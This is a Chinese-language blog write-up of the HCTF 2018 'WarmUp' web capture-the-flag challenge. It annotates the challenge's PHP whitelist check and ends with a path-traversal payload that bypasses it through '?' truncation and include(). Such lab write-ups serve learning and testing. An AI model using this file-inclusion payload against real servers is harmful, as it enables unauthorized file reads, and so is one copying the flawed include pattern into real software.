写点什么

[HCTF 2018]WarmUp 题解(较为详细的)

作者:Geek_3da8ab
  • 2022-10-23
    北京
  • 本文字数:2294 字

    阅读完需:约 8 分钟

页面上除了一张图什么也没有(而且图还没出来

从源代码看提示,发现有 source.php 提示,被注释掉的


跟着提示访问/source.php,发现是一些代码



把代码粘过来看看,从最后面那个图片发现是刚才页面的源码,分析一下看看


php 函数:


isset():检测变量是否已设置并且非 NULL

isset ( mixed $var [, mixed $... ] ) : bool //mixed 说明一个参数可以接受多种不同的(但不一定是所有的)类型
复制代码


如果一次传入多个参数,则检测所有的变量都已设置且不是NULL才会返回TRUE,若检测到的有一个变量未设置或为NULL,则立即返回FALSE,并且不继续执行*null 字符("\0")并不等同 php 的 NULL 常量


*var:要检测的变量,...:其他变量。如果 var 存在并且值不是 NULL 则返回 TRUE,否则返回 FALSE


**mb_strpos()**:查找第二个参数在第一个参数中首次出现的位置,返回一个 int 型变量


mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int
复制代码


查找 string 在一个 string 中首次出现的位置。基于字符数执行一个多字节安全的 strpos() 操作。 第一个字符的位置是 0,第二个字符的位置是 1,以此类推。


参数:

haystack要被检查的 string。

needle在 haystack 中查找这个字符串。 和 strpos() 不同的是,数字的值不会被当做字符的顺序值。

offset搜索位置的偏移。如果没有提供该参数,将会使用 0。负数的 offset 会从字符串尾部开始统计。

encoding encoding 参数为字符编码。如果省略,则使用内部字符编码。


mb_substr():获取部分字符串

mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] ) : string
复制代码


根据字符数执行一个多字节安全的 substr() 操作。 位置是从 str 的开始位置进行计数。 第一个字符的位置是 0。第二个字符的位置是 1,以此类推。

参数:$str 是被提取的参数

$start:若为正数,从 str 开始第 start 位开始提取;若是负数,从末尾第 start 位开始提取

$length:提取的长度,此参数若忽略或设置为 null,则提取到字符串末尾

$encoding:字符编码,若省略,则使用内部字符编码

返回一个字符串,值为 start 和 length 指定部分


<?php    highlight_file(__FILE__);    class emmm    {        public static function checkFile(&$page)        {            //验证白名单            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];            if (! isset($page) || !is_string($page)) {                echo "you can't see it";                return false;            }//如果传进来的file变量不是非空已设置或者不是字符串,会返回false            //传入参数(&$page)
if (in_array($page, $whitelist)) { return true; }。//如果传入的file参数在whitelist里,回返回真,这里就知道,file参数的值该是上面两个之一
$_page = mb_substr(//提取字符串 $page, 0, mb_strpos($page . '?', '?') //括号里"."是连接两个字符串 //mb_strpos函数,查找第二个参数在第一个参数中首次出现的位置 //这里知道第三个参数length=传入字符串长度(因为第一个位置是0 //但是这里如果加入?就会起到截断的作用 ); if (in_array($_page, $whitelist)) { return true; //如果变量_page(传入参数被截过的部分)在白名单里,可以返回true }
$_page = urldecode($page);//url解码,按规则解码已编码的url字符串,所以构造payload的时候可以考虑用url编码的方式绕过 $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } }//下面是主函数部分//$_REQUEST['file'] 获取传递的参数file中存储的值 if (! empty($_REQUEST['file'])//传入参数不能为空 && is_string($_REQUEST['file'])//检查是否是字符串 && emmm::checkFile($_REQUEST['file']) //调用emmm类中的checkFile函数 ) { //所以,不进入else分支,可以调用include函数读取传入文件。这里要满足if中的条件为真 include $_REQUEST['file']; //include文件读取函数是直接读取file exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; //从这里发现是刚才页面的源码 } ?>
复制代码


既然这里要 if 中的条件为真,那就要 get 或者 post 方法(显然这里是 get 方法)传入的参数 file 不能为空,得是一个字符串,还要让 emmm::checkFile($_REQUEST['file'])的返回值为真就去看那个 checkFile 函数(写代码注释里了)


访问 hint.php 发现 flag 不在


添加"/"让 hint.php?变成一个目录,但是这个目录并不存在,Include 函数就会取执行后面的,跳转到上层目录


(这里让变量_page 变成白名单里的文件名就可以返回 true,但是 flag 并不在白名单的文件里,所以要利用 Include 函数去跳转到别的目录(flag 是在 ffffllllaaaagggg 里,但是不知道这个长名字的文件在哪)


所以构造 payload

/?file=hint.php?/../../../../ffffllllaaaagggg



发布于: 刚刚阅读数: 3
用户头像

Geek_3da8ab

关注

还未添加个人签名 2022-10-17 加入

还未添加个人简介

评论

发布
暂无评论
[HCTF 2018]WarmUp题解(较为详细的)_Web_Geek_3da8ab_InfoQ写作社区